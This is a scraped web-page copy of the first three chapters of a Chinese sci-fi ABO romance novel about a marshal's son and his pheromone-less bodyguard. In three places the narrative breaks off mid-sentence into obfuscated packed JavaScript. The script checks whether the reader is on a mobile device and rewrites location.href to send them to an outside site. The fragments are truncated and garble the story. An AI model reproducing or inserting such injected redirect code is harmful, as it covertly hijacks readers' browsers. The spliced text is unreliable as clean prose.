《闻见你的信息素》 1. 少爷 海冥星的矿场深处,空气里弥漫着冷却液刺鼻的金属腥气和挥之不去的血腥味。 萧菘蓝坐在机甲的驾驶舱内,刺耳的警报声被舱壁隔绝了大半,但全息投影上的倒计时却昭示着危机:【核心矿区自毁程序启动——剩余00:30】 “三十秒。”她对着通讯频道开口,声音冷静机械。 “够用了。”频道那头传来墨空青轻快的笑声,仿佛身处度假胜地而非战场核心,“不过萧萧,你左边第三根能量管在漏液。” “嗯。”萧菘蓝应了一声。 “我会尽快。” 【防御系统破解完成】 冰冷的电子音刚落,机甲银翼发出震耳欲聋的咆哮,背部的推进器喷吐出幽蓝火焰,巨大的机甲在空中划出一道弧线。叛军的防御塔近在咫尺,萧菘蓝甚至能看到操作员惊恐的表情。 “晚安。”她轻声吐出两个字,然后果断按下操纵杆顶端的红色按钮。 机甲右臂弹出一把长刀,刀身缠绕着暴走的电流。这一刀劈下去时,整个矿区的灯光都跟着闪烁了一下。随着炮火轰向四周,周遭林立的能源厂在瞬间倾塌。警报声在空中拉响,一声又一声,响彻整片土地。 火光笼罩着海冥星。 萧菘蓝一脚踹开因冲击而变形的驾驶舱门,冷却蒸汽扑面而来,瞬间在她浓密的睫毛上凝成细小的冰晶。她跃下机甲,军靴踏在金属残骸上发出声响。 萧菘蓝的目光越过弥漫的硝烟,落在远处的高台上。 墨空青站在那里,黑色镶银边的军装纤尘不染,而那只戴着雪白手套的手正稳稳地掐着叛军的喉咙,猩红的血液顺着叛军的脖颈流下。 “投降?”墨空青歪头笑着,手指却在缓慢地收紧,“真可惜,我今天没带慈悲出门。” 咔嚓。 一声清脆的骨裂声在短暂的寂静中格外刺耳。叛军眼中的光芒瞬间熄灭,尸体从高台砸落。 萧菘蓝走向他时,背后突然响起尖锐的破空警报。 砰—— 一声沉闷的脉冲枪响几乎同时响起,蓝色的光束擦着她的耳际疾射而过,身后传来重重倒地的闷响。 紧接着是金属装甲被蛮力劈开的锐响,锋利的能量刃还是划破了萧菘蓝后颈的防护装甲。 “别动。”墨空青突然出现在她身后,手套已经摘掉,带着薄茧的手指轻轻抚上那道伤口,温热的血顺着他指尖流下。 没有味道。 没有Alpha信息素特有的惑人沉落或浓烈霸道的气息。只有最原始的铁锈般的腥味,冷冽而陌生,像古地球博物馆里那些早已干涸在冷兵器上的陈年血迹。 墨空青的目光落在她后颈的伤口上,又移到指间的血迹,喉结滚动了一下。 “闻不到。” 他声音有些沉。 萧菘蓝平静地转过身,抬起手,轻轻擦掉他脸颊上溅到的一小点血污,在对方的皮肤上留下一道略显暧昧的痕迹。 “脏了,少爷。” 她收回手,声音依旧平稳,仿佛刚才的偷袭从未发生。 墨空青的目光从萧菘蓝的手移回她的眼睛,碧色瞳眸下翻涌的情绪在她这声平静的呼唤中渐渐被抚平。他微微勾起唇角,方才战场上那令人胆寒的气息悄然褪去。 远处,帝国星舰“扶光号”庞大的阴影笼罩着这片刚刚平息战火的矿场废墟。大大小小银白色的登陆艇正穿梭其间,押解俘虏,清理战场。 烟尘混合着能量过载后的焦糊味,弥漫在破碎的海冥星上空。 年轻的上校站在星舰的舱门口,目光复杂地望向高台上那两道身影。他想起离开帝都星前父亲的告诫:“墨空青毕竟是元帅之子,从前不参与,如今是藏不住了。一旦拿下海冥星,他便是众矢之的。你,可想清楚了?” 程岩深吸一口气,空气中似乎还残留着顶级Alpha信息素带来的无形压力,即使他是个Beta,也能感受到那种令人心悸的余威。 他按下了通讯器:“报告,矿区残敌肃清,星舰系统正常,请求下一步指令。” 短暂的电流杂音后,回应他的并非是墨空青,而是一个清冷、毫无情绪起伏的女声。 “留下第一中队,原地等待后续接管。其余人,全部返航。” “是!”程岩立刻应道,将指令传达下去。他再一次看向高台,墨空青似乎侧头对萧菘蓝说了句什么,可惜距离太远听不清,只看到萧菘蓝点了下头。 大大小小的护卫舰艇如同归巢的银鸟,纷纷汇入主舰之下。 程岩最后望了一眼那片被战火蹂躏得满目疮痍的大地,转身步入舰舱。隔绝门缓缓闭合,将海冥星弥漫的硝烟与尘埃挡在了外面。 星舰舱内。 “少爷,我在前方剿毁他们一处研究基地的时候发现了这个。”程岩身上的衣服有几处褶皱破碎的厉害,但他来不及去换,一回来就将文件整理好递交给面前的人。 墨空青并没有要伸手的意思,而是由萧菘蓝替他接下。 程岩似乎也习惯了这种相处模式。 墨空青坐在中控台前的椅子上,闭着眼睛,像是在休憩。整个控制中心只剩下萧菘蓝文件翻页的声音。 而在萧菘蓝翻阅文件的同时,程岩同样也在打量着她。 “你在看什么?” 程岩一惊,回头时便发现墨空青不知何时睁开了眼。对方的眼神格外冷漠,让他的背脊莫名一凉。从军这么多年,不是没见过凶戾狠恶之徒,只是这个人,从前明明一直都是养尊处优的少爷。 一双碧色的眸子,看得人心发慌。 墨空青却极有耐心的重复了一次:“你在看什么?” 程岩一愣,然后摇摇头:“没看什么。” 墨空青站起身,整个人都带着Alpha独有的充满侵略意味的攻击性,程岩立刻就感受到了面前这个人带给自己的危险,却又无法挣脱。 萧菘蓝也察觉到了,她抬头看了一眼程岩,对方似乎不是很舒服。 萧菘蓝将文件一合:“别闹了。” 话音刚落,围绕在程岩四周的危险气息瞬间散尽。 “出去。” 星舰的舱门又一次开启关上。 程岩回了自己的住所,靠在舱门上,粗喘着气。 他不知道自己哪里惹闹了墨空青。 难道是因为,多看了萧菘蓝一眼? 程岩不禁皱了一下眉,少爷与这位近卫之间果真如传言中那般亲密。 可像萧菘蓝这么厉害的Alpha,他确实没忍住多看了几下。 他当时去前方支援,回来便听底下的士兵讨论对方以一己之力对抗,且在当时那种情况下都不曾使用信息素威压制衡,甚至没有泄露出一丝。 还有刚刚墨空青对自己的信息素收放自如,这便是他们顶级Alpha的自控力吗? 想到Bate和Alpha的差距如此之大,程岩有些丧气,但很快又恢复过来。 Alpha在总人口的占比不多,更不用说顶级的了,不过在军方的中上层里几乎都是Alpha,所以程岩的存在已经是个奇迹了。 看着通讯器上不断闪烁的光点,程岩最终叹了口气,屏蔽了一切来自另外星系的信号。 海冥星是目前已知星系中星矿能源最为丰富的星球,且周围仍存在许多未发掘的能源星球。 自联邦瓦解,海冥星一直都是各大势力想要争夺的星球,就连帝国内部都对其虎视眈眈。但各方为了不打破平衡,一直没有采取行动,直至海冥星被星际盗匪占领,最终演变为叛军。 所有势力之间开始暗潮涌动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181541|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表面上装作不在乎,直到事情一发不可收拾,企图以消灭叛军、维护星际和平为由来夺取海冥星时,帝国元帅之子墨空青的星舰却早已踏入这片星球的土地。 待程岩走后,墨空青依旧还是那副表情,冷冷地看着萧菘蓝。 “他好像对你很有兴趣。” 萧菘蓝将文件递给他:“少爷,我觉得程岩对你的兴趣更大。” 墨空青却轻轻挑眉,语气上扬:“哦?” 萧菘蓝将文件反过来,从倒数几页开始翻:“他把所有的东西毫无保留的交给了你。” 他瞥了一眼:“你怎么知道?” “这些研究所和基地的数量与作用,跟我们之前查到的基本相符,甚至还挖出了几处藏在地下的实验室。所有的数据,也全在这里了。” 萧菘蓝看着他:“如果程岩有心,这些资料大可不必全部上交,等回去之后,他完全可以交给他父亲。” 墨空青突然贴近,眼睛微眯,朝萧菘蓝笑了一下:“萧萧,你在为他说话。” “我是在为了谁,少爷不清楚?” 墨大少爷往后退了一步,露出满意的笑容。 “乖。” 历时27天,星舰即将到达帝国所在星系。 中枢控台上的通讯器闪烁了一下。 “何事?” 又是萧菘蓝。 这段段时间里,除了商定一些重要事宜外,墨空青甚少出现,所有的事项都是由这位近卫传达下来的。 程岩回道:“现已进入帝国所在的长明星系,最多三日即刻降落。” 对面轻声应了,表示知晓。 见程岩还未挂断,萧菘蓝又问:“还有什么事?” 程岩犹豫了一下:“少爷现在可安好?” 对面突然沉默了,程岩还以为对方中断了,可低头一看,还显示在通话中。 几秒过后,红光闪了几下:“他很好。” 通讯挂断,程岩不知为何莫名有些尴尬。 难道问候上级不是这样的吗?虽然墨空青暂时还没有正式进入军界,算不上他的上级。 所以是他唐突了吗? “算了,这种人际关系处理还是回去请教父亲吧。” 而星舰另一侧的房间内。 萧菘蓝挂断通讯,正转过身来,便被后面的人一下抵在中控台上。 墨空青埋在她的肩颈,身上温热的气息直打在她的耳朵旁:“萧萧,我刚刚梦见你了,可是一睁眼却没看见你。” 他的语气里隐隐有些不满。 萧菘蓝却只回了一句:“那你再睡会儿。” 墨空青没有松手,反而贴得更近了。 “程岩找你什么事?” “马上就能回家了。”她顿了一下,“另外......” “怎么了?” “他问你,是否安好?” “这倒不像他。” 墨空青松开了手,身子往后倾了倾,但依旧靠得很近,近到萧菘蓝能看见对方眼中映着自己的影子。 “萧萧,你觉得程岩怎么样?” “不错。”萧菘蓝如实道。 程岩无论是家世,还是个人能力都很不错。 “不错。”墨空青笑着重复这两个字,看似漫不经心,“很少听到你这么高的评价。” 他转过身,走到椅子前坐下。 星舰缓缓行驶,偌大的透明玻璃舱外是数不尽的撩人璀璨的繁星。那是几千年前,古地球的人类一直向往的。 明明一个月以前还是战火纷飞,而现在身处宇宙之间,竟然有一种别样的祥和与宁静。 这便是宇宙给予人类最好的礼物。。 但墨空青此刻没心情去欣赏。 “萧萧,那我和程岩谁更不错?” 2. 回程 星河无声流淌,璀璨却冰冷。 墨空青坐在控制台前,姿态慵懒,那双碧色的眸子却紧锁着几步之遥外的萧菘蓝。 萧菘蓝的目光从窗外浩瀚的星海收回,落在墨空青脸上。她的眼神平静无波,几秒的沉默,最终她什么也没说,只是极轻微地眨了下眼。 墨空青忽然笑了,唇角勾起一个张扬的弧度,方才那点不悦瞬间化为得意。 “就知道。”他轻哼一声,身体向后靠进宽大的座椅里,仿佛得到了最满意的答案,“萧萧的眼光,自然是最好的。” 他心情肉眼可见地好了起来,甚至开始盘算着:“回去得替父亲在爸爸面前多说两句好话,省得他总被念叨。” “少爷是想好如何与先生交代了吗?”萧菘蓝的声音依旧平稳,听不出情绪。 “我想什么,你倒是一清二楚。”墨空青指尖在桌面上有一下没一下地轻叩着,发出清脆的微响,“能怎么交代?爸爸最多骂我两句。惨的是父亲,是他放我出来的,所以是父亲要和爸爸交代。”他语气轻松,甚至带着点幸灾乐祸。 “这一回,先生可不止会骂两句了。”萧菘蓝淡淡提醒。墨空青为了清静,在返航途中屏蔽了所有外部通讯信号,但她没有。海冥星战事刚结束,元帅府那位暴怒的消息就直接传到了她的终端上。 “让墨空青立刻滚回来——”通讯里,还夹杂着元帅挨骂的声音。 墨空青脸上的轻松淡了些,随即化作对他那“没用老父亲”的嫌弃:“啧,要是这样,父亲可真是没用。” 他换了个姿势,手肘支在扶手上,撑着下巴:“我刚还想,这都好几个月了,爸爸再怎么生气也该消了,总得心疼心疼他儿子吧?”他碧眸微转,带着点狡黠,“本来还想着,要是爸爸拿父亲出气,我还能劝上两句。现在看来......这家怕是都回不了喽。” 被轰出家门这种事,对墨空青而言简直是家常便饭。萧菘蓝也早已习以为常,至于如何哄好先生,少爷自有他的手段,她并不担心。 “少爷此行除了拿下海冥星,不是还有个目的?”萧菘蓝适时转移话题,“想将程岩收为己用。” 墨空青左手依旧撑着下巴,食指指尖在脸颊上若有所思地点了几下,目光转向萧菘蓝,勾起一个意味不明的笑:“你近来怎么格外关注他?” 萧菘蓝只觉无奈,这人又开始闹别扭了。她轻轻叹了口气,声音放软了些:“少爷若是真的回不去了,可以回我家。” 她总是拿他没办法。 果然,墨空青脸上的笑容立刻真切了几分,碧眸中漾起满意的光晕。有的时候,就连萧菘蓝都觉得,自家少爷得意起来像极了一只骄傲开屏的孔雀。 “说正事。”墨空青收敛了些许张扬,回归正题,“像你说的,程岩各方面确实不错,是个可造之材。只不过......”他微微蹙眉,“他父亲在政界地位不低,能同意自己儿子放着坦荡仕途不走,偏偏跑来从军,已经够让人意外了。” 他站起身,走到巨大的星图投影前,那颗象征着海冥星的紫色光点在其中危险地闪烁。 “若我想把他彻底变成自己人,这难度不小。更何况,”他回头,目光锐利,“只要我们一回去,那些盯着我们的老家伙们必定会有所动作。所以,先把这群老麻烦的事情解决了,再去考虑程岩的事也不迟。” “少爷觉得,海冥星这次的叛乱,背后也是他们?”萧菘蓝问。 “说不准。” 墨空青凝视着星图,眼神深邃:“他们一向与父亲不合,想借机生事是肯定的。但也不排除是别的星系动的手脚,想浑水摸鱼。” 自联邦瓦解,星系各自为政,内部如何倾轧谁也管不着。他们所在的长明星系虽由帝国统一,表面实力最强,但军政分权,各怀鬼胎。 星舰即将抵达的帝国首都星,正因为墨空青这次雷霆万钧的行动掀起了轩然大波。那些藏匿在暗处的势力,如同雨后的毒笋,一个接一个悄然冒头。 漫长的星河旅途终于临近终点。星舰引擎的轰鸣声逐渐低沉,庞大的舰体缓缓滑入帝国首都星的空港轨道。 墨空青拿下海冥星的消息早已传回帝国,甚至在整个星际都引起了不小的震动。 此刻,空港的起降平台上景象颇为壮观。大大小小、隶属于不同势力的星舰或飞行器,如同闻风而至的秃鹫,远远地围成一个松散的圈降落,将中央一片特意预留的降落区团团围住。 军方的人早已严阵以待,维持秩序,但仍无法阻止各方势力派来的代表和探子。他们或明或暗地聚集,目光灼灼,将内圈外围堵得水泄不通,空气里弥漫着一种无声的紧张和窥探。 又过了一会儿,墨空青所在的中央星舰“扶光号”,在无数道目光的注视下,缓慢而沉稳地降落在中央那片空地上。 巨大的舱门伴随着液压装置的嘶鸣声,缓缓开启。 舱门打开的那一刻,平台上原本低低的议论和争执声骤然消失,陷入一片诡异的死寂。所有人的目光都死死地钉在了那逐渐扩大的舱门缝隙上。 程岩是第一个走出舱门的,脚步在踏出的那一瞬,不由自主地顿住了。眼前这人山人海、虎视眈眈的场面远超他的预期。 他眉头紧锁,压低声音对舱内道:“回程的消息虽已告知,但具体时间和降落地点,是谁泄露给他们的?”而且这些人显然来者不善。 “站那做什么?” “少爷。”程岩立刻转身回去,舱门落下,“现在外面都是人,情况不明。要不您还是稍等片刻再出来?” 墨空青闻言只是轻嗤一声:“怕什么?他们还能吃了我不成?” 程岩侧身挡在他面前:“少爷。” “程岩,我不喜欢别人替我做决定。”墨空青戴上了那副手套,不满地看向他。 程岩嗅到了危险的信号,却依旧没有退开半步。 此时出去,显然不是一个明智的选择。 “你紧张什么,我也不会吃了你啊。”墨空青拍了拍他的肩,打了个哈欠又转身回去:“不过我确实没打算出去,让那些老家伙等着吧,耐心这东西我有的是。” 星舰外,时间一分一秒流逝,围观的人群开始躁动不安。有人频繁查看终端,更有甚者开始试图突破军方设置的警戒线。 “这都三天了,墨空青到底在等什么?”一个身着深灰制服的议员助理忍不住抱怨。 不远处,情报局的黑色悬浮车里,监听设备正全功率运转。“继续监测所有频段。”坐在后座的人推了推眼镜,“墨空青不可能永远躲着,除非扶光号已经成了空壳,但是目前也没有收到他回墨家的消息。” 直到第七天黎明时分,终于有人按捺不住。 特制军靴踏在金属甲板上,本该发出巨响,却诡异地只留下极轻微的摩擦声。一股狂暴至极的Alpha信息素,如同有形的血色浪潮席卷了整个连接通道。 目标是则尽头那间紧闭的控制中心。 “有人入侵!” 隐藏在两侧警戒的士兵瞬间神经绷紧到极致。一个离得稍近的Alpha士兵脸色煞白,额角冷汗涔涔,本能地想要释放自己的信息素进行对抗。然而,那股扑面而来的充满毁灭意味的恐怖压迫感,竟将他死死地按在原地,动弹不得,连呼吸都变得困难。 “戒备——” “检测到十余个A级Alpha信息素波动!” 就在那道身影即将触及控制中心合舱门的瞬间,萧菘蓝无声无息地出现,挡住了刺客的一击。 墨色的近卫军制服完美地勾勒出她挺拔修长的身形,没有一丝多余的褶皱,及肩的黑发利落地束在脑后。 她的脸上没有任何表情,仿佛那足以令同级Alpha窒息崩溃的狂暴信息素风暴,不过是拂面而过的一缕微风,未能在她身上留下丝毫痕迹。 刺客的瞳孔猛地收缩。 在看到通道边没有守卫的时候,他就已经猜到这是个陷阱,但他别无选择。只是没料到会有人能悄无声息的出现在自己身后,并且对方在自己的全力信息素冲击下,竟能如磐石般岿然不动。 震惊化作杀意,他喉咙里发出一声野兽般的狂吼,灌注全身力量的臂刃爆发出刺目的能量光芒,撕裂空气,带着刺耳的尖啸直刺萧菘蓝的心脏,意图用绝对的力量和碾压性的威压,将面前这个碍事的人彻底粉碎。 萧菘蓝动了。 但她没有拔刀,没有格挡。 狂暴的能量光刃擦着她制服前襟的纽扣掠过,灼热的气流带起她颊边几缕散落的发丝。那股浓烈到足以令常人作呕昏厥的信息素冲击波,在她周身尺许之地,像撞上了一堵无形而坚不可摧的壁垒,扭曲,然后消散于无形。 刺客的全力一击落空,身体因巨大的惯性而前冲,不可避免地出现了一丝致命的凝滞。 遭受重击的痛苦闷哼响起。 但下一秒,刺客的惨叫被生生卡在喉咙里,剧痛让他眼前瞬间发黑。他持刃的手腕被一只冰冷的手死死扣住,反向猛地一折。 “咔嚓!” 能量臂刃脱手飞出,被萧菘蓝抬起的脚尖轻轻一挑,稳稳落入她摊开的右掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所有巡逻舰队警戒范围覆盖到空间站的外围,我不希望再看到有任何苍蝇靠近。另外,”他语气微顿,带上一丝嘲讽,“告诉帝都那些吃饱了撑的特使们,海冥星的地表温度现在很高,让他们管好自己的脚,要是踩错了地方,被烫着就不好了。” 字里行间透出的冷酷与掌控一切的强势,让侍立在前方的几名军官都下意识地挺直了脊背,只能恭敬地应着:“是!” 萧菘蓝如同丢弃一件废弃物一般般,将刺客随意地扔在地板上。 墨空青的指令被打断。 他缓缓转过身,那双眼睛先落在了地上的刺客身上,带着被打扰的不悦,无形的压力瞬间弥漫开来,离得近的军官感觉呼吸都停滞了。 然而当墨空青的视线触及萧菘蓝的身影时,那眼底的冰霜瞬间消融殆尽,漾起一片明亮的暖意。 “萧萧~” 轻快得甚至带着点雀跃的呼唤,尾音微微上扬,与刚才发号施令时的冷酷威严判若两人。 墨空青无视了地上的人和周围噤若寒蝉的军官,大步朝萧菘蓝走去。 “你总算回来了。”他自然地伸出手,想去拉萧菘蓝垂在身侧的手,身体也微微向她倾斜,语气里带着毫不掩饰的依赖和撒娇的委屈,“刚才外面好吵,震得我头都疼了。” 墨空青皱起好看的眉,碧眸里水光潋滟,仿佛真的承受着莫大的痛苦。 萧菘蓝迎上他的目光,只是从喉咙里发出一声极低的鼻音:“嗯。” 没有询问,没有安慰,仅仅表示她听到了。 但这近乎冷漠的回应,却让墨空青绽开笑容,眼底的阴霾一扫而空。他心满意足地收回手,姿态更加放松地站在她面前,方才那点头疼似乎也烟消云散了。 “都怪程岩不让我出去,不然早就可以在家里躺着了。” 舱门开启,刚清点完潜伏者数量,准备过来汇报的程岩:“......” 虽然很不礼貌,但程岩发现这位少爷极具变脸的潜质。 这反差大到近乎荒诞的一幕,让在场的军官们纷纷低下头,眼观鼻,鼻观心,极力掩饰着脸上的震惊和古怪。 听说少爷对这位贴身近卫的态度非同一般,但亲眼目睹这“猛虎秒变家猫”的戏法,视觉和心理上的冲击力,还是过于震撼了。 听着程岩的汇报,墨空青低头看了一眼地上的人,摇头啧了一声:“真是难为他们了,费尽心思在军方里塞了这么多人。” 舷窗外的机甲缓缓掀起。 透过玻璃窗,外面的人可以清晰地看见墨空青正倚在指挥椅上,手里把玩着一颗珠子。 他看着迫近的突击舰,另一只手举了举酒杯。 这个挑衅般的动作让现场气氛瞬间剑拔弩张。 萧菘蓝的身影出现在另一侧舷窗。她按下某个按钮,霎时间,以扶光号为中心,半径两公里内的所有电子设备同时黑屏。 墨空青看着窗外乱作一团的场景,嘴角噙着冷笑。竹子“啪嗒”一声落在星图投影上,砸中了代表首都星的位置。 3. 听话 又是僵持了大半天,空港上围得水泄不通的各路人马终于开始松动。 回到墨家后,意料之中的冷清,没有欢迎仪式,只有管家带着寥寥数名亲卫静立在两侧,颇有一种山雨欲来的凝重。 没有多余的寒暄,管家躬身示意:“少爷,先生请您立刻去书房。” 墨空青懒洋洋地“嗯”了一声,脚步未停。 墨空青和萧菘蓝还没踏进书房半步,就听里面的人先开了口:“哟,这还知道回来啊,我还以为你俩就定居海冥星了呢。” 墨空青皱眉,看来情况有点糟糕。 接着一进房门便见他爸眉眼含笑,声音格外的温柔,然后说了一句:“滚过来。” 不要试图去惹怒顾言深,这是墨空青这么多年来一直坚守的原则。 窗外是黄昏天幕,橘红色的光晕落在顾言深的白色西装上,眼镜的镜片反射着落日余晖,遮住了眼底的波澜。墨庭则坐在宽大的书桌后,正垂眸看着手中的茶杯。 墨空青拉过一张扶手椅坐下,长腿交叠,姿态闲适地对着人打招呼:“哎呀,父亲也在啊。” 萧菘蓝则停在他侧后方一步的位置。 墨庭抬眼,视线在他脸上停留了一瞬,没有任何表示,又低头继续研究他的茶杯,仿佛根本没听见儿子的话。 墨空青嘀咕一句:“真冷漠。”他又转头去喊顾言深,“爸,你都不知道我这几个月过的都是什么日子,吃不好睡不好,天天提心吊胆的......” “你不是一向很会享受嘛,怎么,还能过上苦日子不成?”顾言深手里拿着一份加密文件,纸页的边缘被捏得微微发皱,“墨空青,给我一个解释。” 他走到书桌前,“啪”地一声将文件拍在桌面上,震得墨庭的茶杯都晃了晃。 “谁给你的胆子?” 墨空青看见他那“没用”的老父亲继续淡定地抿了口茶,一副置身事外的样子。他扯了下嘴角,脸上的笑意并未收敛:“爸,过程不重要,结果好就行。” 他下巴朝桌上的文件抬了抬,声音轻飘飘的:“海冥星的星矿能源收益报表,您不是都看到了么?” 顾言深:“结果?你知不知道政界那帮人正愁找不到借口削弱你父亲的军权,你倒好,上赶着把刀递到他们手里。” 墨空青朝他父亲使眼色:你快说句话啊! 墨庭端着茶杯的手顿了顿,目光缓缓移向窗外被晚霞染红的天空,看得格外专注。 墨空青:“......” 顾言深瞥一眼这对父子,开口嘲讽:“回来的阵仗倒是挺大,跟你父亲一个模子刻出来的。” 他绕过书桌,径直走到墨空青面前。 萧菘蓝一步跨前,瞬间从墨空青侧后方插到了他与顾言深之间。她微微侧身,恰好将人完全遮蔽在自己的保护范围内。 墨空青依旧安稳地坐在椅子上,身体后仰,靠在椅背上,然后好整以暇地从萧菘蓝挺直的肩背侧方探出视线,看向顾言深,眼里带着点无辜:“别生气嘛,爸爸。” 几秒钟的安静。 顾言深的胸膛微微起伏了一下,似乎在强行压下翻涌的情绪。 然后,他忽然发出了一声短促的气音。 像是被气笑了。 镜片后的眼神复杂地扫过萧菘蓝的脸,随即又落回被护得严严实实、似乎还在暗戳戳得意的儿子身上。 “你净会惯着他。” 顾言深不过是出了趟门,去参加一个学术讲座,回来家里就变了天。两个兔小崽子,一个带着另一个,招呼都不打一声就跑去危机四伏的海冥星前线。 顾言深气过、怒过,却也担心着。现在人总算全须全尾地回来了,他这口提着的气还没彻底放下,才说了两句都还没怎么样呢,这边护犊子的就上来了。 似是那他们没办法,顾言深回头对着放下茶杯,开始赏风景的墨大元帅就是一顿输出:“管不了你儿子了,一个比一个糟心,这日子都别过了。” 墨庭被点名,终于无法再装聋作哑。他轻咳一声,放下茶杯,目光终于从窗外收回,看向那份被扔在桌上的加密文件上。 “言深,先消消气。”墨庭的声音低沉而稳重,“空青这事做得是鲁莽,惹了麻烦不假。但现在揪着他骂,也解决不了眼前的隐患。” 他拿起那份文件,手指敲了敲其中几页数据,“海冥星的乱象没有那么简单。就凭他们一帮星级盗匪怎么可能在这么短的时间内建立那么多高规格的研究所和基地?这背后必然有人,而且是能量巨大的势力在支撑。” 墨庭走向自己的伴侣,放轻声音安抚道:“你应该也能看得出来,他们开采和转化星矿能源的转化率竟然达到了70%。如此庞大的能源产出,最终流向哪里却不得而知。”他的眉头紧紧锁起,显出少有的凝重,“还有这次空港埋伏,军方内部竟能混入那么多来历不明且等级不低的Alpha。” 当他讲完后,墨空青忽然开口,声音里没了之前的轻佻:“父亲说得没错,海冥星就是块诱饵,也是块试金石。我们不去拿,别人也会去。既然现在已经咬钩了,我们就等着看看那些藏在暗处的,到底是个什么东西。” 顾言深当然知道这其中的厉害,他只是生气这些人都瞒着自己,一股无处发泄的闷气堵在胸口。 “好,好得很!”顾言深几乎是从牙缝里挤出这几个字,“你们父子俩一个比一个主意大,一个纵容儿子捅破天,一个捅破了天还嫌窟窿不够大!” “言深,你等等。” 顾言深脚步顿住:“管好你的军队,看好你的儿子。至于那些糟心事......最好别让火烧到家里来。”说完,他不再停留,大步走向书房门口,房门在他身后被“砰”地一声甩上,巨大的声响在书房里久久回荡。 墨空青懒洋洋地瘫回椅背里:“看吧,我就说爸爸没那么好哄。我的命好苦啊,差点又帮你背锅了。” 墨庭重重叹了口气,坐回自己的位置:“你爸这次是真气狠了,他那边我会去安抚的。” “海冥星这趟浑水,比你想象的更深。当初我就提醒过你,动了这块蛋糕,就等于把自己摆在了所有觊觎者眼前,包括那些藏在暗处的毒蛇。” 墨空青脸上的懒散褪去,碧眸沉静:“我知道。但是父亲,这块蛋糕我们不抢,毒蛇也会咬人。与其等别人用海冥星的资源武装起来咬我们,不如先下手为强。” 他身体微微前倾,手肘支在膝盖上:“现在的问题是,我们咬住了诱饵,却还没看清下饵的渔夫是谁。研究所、基地、不明去向的能源,还有......” “军方内部的钉子必须尽快拔除,能渗透到这个程度,绝非一日之功。” 墨庭点了点头:“我已经让他们全力排查了,但对方手脚很干净,那些潜伏者的身份都是伪造的,线索几乎全断。” 他拿起那份文件,翻到其中一页。 “你之前传回来的关于研究所的数据,分析组有了些初步发现。他们在研究一种特殊的能量共振频率,似乎与星矿本身的某种深层特性有关,但目的不明。” 在一边沉默许久的萧菘蓝接下了话:“是的,我们当时还检测到一些极其微弱无法解析的异常信号,来源不明,但又似乎有规律可循。” 墨庭:“异常信号?” 他思索片刻,然后将文件递给过去,点头道:“知道了,这些东西暂时都被我压住了,还没有上报,但还需要从海冥星带回来的第一手资料和样本,你们继续深挖。” 萧菘蓝接过文件,快速扫视着上面的数据和图表:“明白,我会让林漾亲自跟进。” “还有,菘蓝。”墨庭叫住她,语气严肃:“海冥星一行加上这次遇袭,你的能力可能已经被他们注意到了,就连上次议会都有人称赞你特别。” 墨空青还在翻阅文件的手停顿几秒,随即恢复如常,头也没抬:“她一向特别。” 墨庭没再多说什么,站起身。 “行了,时间也不早了你们都回去歇着吧。然后菘蓝明天回家一趟,和你父亲母亲报个平安。至于言深那边......”他揉了揉额角,显得有些头疼,看向墨空青道,“这几天你最好安分点,别在他眼前晃悠,省得他看见你就来气。” “放心,肯定不会打扰你哄人的。” 墨空青合上文件,也站起身。 墨庭看了一眼窗外彻底沉入夜色的天空,忽然想起什么,又叫住他们:“等等,程岩那边,你打算怎么处理?他父亲那边,压力可不小。” “父亲大人,您下回能不能一次性把话说完。” 墨空青刚迈出的步子又收了回来。 “程岩是个聪明人。既然选择了我这,哪还有回头的道理?至于他父亲那边也很好解决啊。” 他轻笑一声:“政客的立场,从来只取决于筹码的重量。” 墨庭看着他儿子,最终只是挥了挥手。 墨空青带着萧菘蓝离开了书房,走廊里亮着柔和的壁灯,将两人的影子拉得很长。 可刚走出没几步,墨空青的脚步就慢了下来。他忽然停住,身体微微晃了一下,抬手扶住了墙壁。 “少爷?”萧菘蓝立刻上前一步。 墨空青闭着眼,眉头紧锁,脸色在灯光下显得有些苍白。 “头疼。” 连续几个月紧绷的神经,不断消耗的信息素,再强大的Alpha也会有吃不消的时候。此刻松懈下来,剧烈的疼痛涌上太阳穴。 他可没撒谎,在那鸟不拉屎的地方是真的吃不好睡不着,还一天到晚拉警报,不是炸这就是轰那的。 萧菘蓝立刻伸出手臂,稳稳地扶住他的胳膊,让他身体的重量可以部分倚靠过来。 “回房间。” 墨空青没有拒绝,几乎是半靠在她身上,任由她支撑着自己,一步一步走向他的卧室。 走廊里安静得只剩下两人轻微的脚步声。 墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个距离,他温热的呼吸几乎拂过她颈侧的皮肤。 “萧萧,”墨空青的声音压得更低,带着蛊惑的沙哑,“你这里......”他的指尖在她耳廓下方极轻地点了点,“好像有个很小的痣,以前怎么没发现?” 萧菘蓝的身体在他指尖触碰到时绷紧了一瞬,又迅速放松。她没有避开,只是垂着眼帘,长长的睫毛在眼下投下一小片阴影。 “可能没留意。” “好看。”墨空青的指尖继续却顺着她的下颌线,缓缓地向下滑去,最终落在了她后颈那片光滑温热的皮肤上。 那里是Alpha的腺体所在。 尽管萧菘蓝的腺体天生残缺,没有信息素,但这片区域对于任何一个Alpha而言,依旧是象征着本源与力量的核心区域,脆弱而私密。 墨空青的指腹带着薄茧,在那上面轻轻摩挲。他的动作很慢,感受着那不同于普通Alpha腺体的毫无信息素波动的平坦。 他碧眸深处闪过一丝幽暗。 “想咬一口。” 